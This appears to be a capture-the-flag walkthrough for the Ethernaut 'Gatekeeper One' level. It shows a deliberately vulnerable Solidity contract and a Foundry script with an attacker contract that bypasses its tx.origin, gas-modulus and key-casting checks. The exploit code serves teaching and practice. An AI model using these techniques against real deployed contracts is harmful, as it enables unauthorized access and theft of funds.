Gatekeeper One

Gatekeeper One

title: Gatekeeper One weight: 13 type: docs prev: privacy next: gatekeeper-two

Level13 - ⭐⭐⭐⭐


Make it past the gatekeeper and register as an entrant to pass this level.

Things that might help:

  • Remember what you’ve learned from the Telephone and Token levels.
  • You can learn more about the special function gasleft(), in Solidity’s documentation (see here and here).
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

Solution:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Script.sol";
import "forge-std/console.sol";

import {Attacker, GatekeeperOne} from "../src/13.sol";

contract POC is Script {
    function run() external {
        uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
        address publicKey = vm.envAddress("PUBLIC_KEY");
        address addr = vm.envAddress("INSTANCE_13");

        vm.startBroadcast(deployerPrivateKey);

        GatekeeperOne gate = GatekeeperOne(addr);

        console.log('entrant = %s', gate.entrant());

        Attacker attacker = new Attacker(address(gate));

        // -----
        bytes2 expected = bytes2(uint16(uint160(publicKey)));
        console.logBytes2(expected);
        // -----

        console.logBytes20(bytes20(publicKey));
        bytes8 gateKey = bytes8((uint64((uint160(publicKey) << 6 * 8)) >> 8 * 6) + 0x0100000000000000);

        console.log('entrant = %s', gate.entrant());

        attacker.attack(gateKey);

        console.log('entrant = %s', gate.entrant());
        vm.stopBroadcast();

    }
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/console.sol";

interface GatekeeperOne {
  function entrant() external returns(address);
  function enter(bytes8 _gateKey) external returns (bool);
}

contract Attacker {
  GatekeeperOne gatekeeper;

  constructor(address _gatekeeper) {
    gatekeeper = GatekeeperOne(_gatekeeper);
  }

  function attack(bytes8 _gateKey) public  {
    gatekeeper.enter{gas: 8191 + 24829}(_gateKey); // 24829 if found through brut force loop simulation (without --broadcast flag we can simulate execution)
  }
}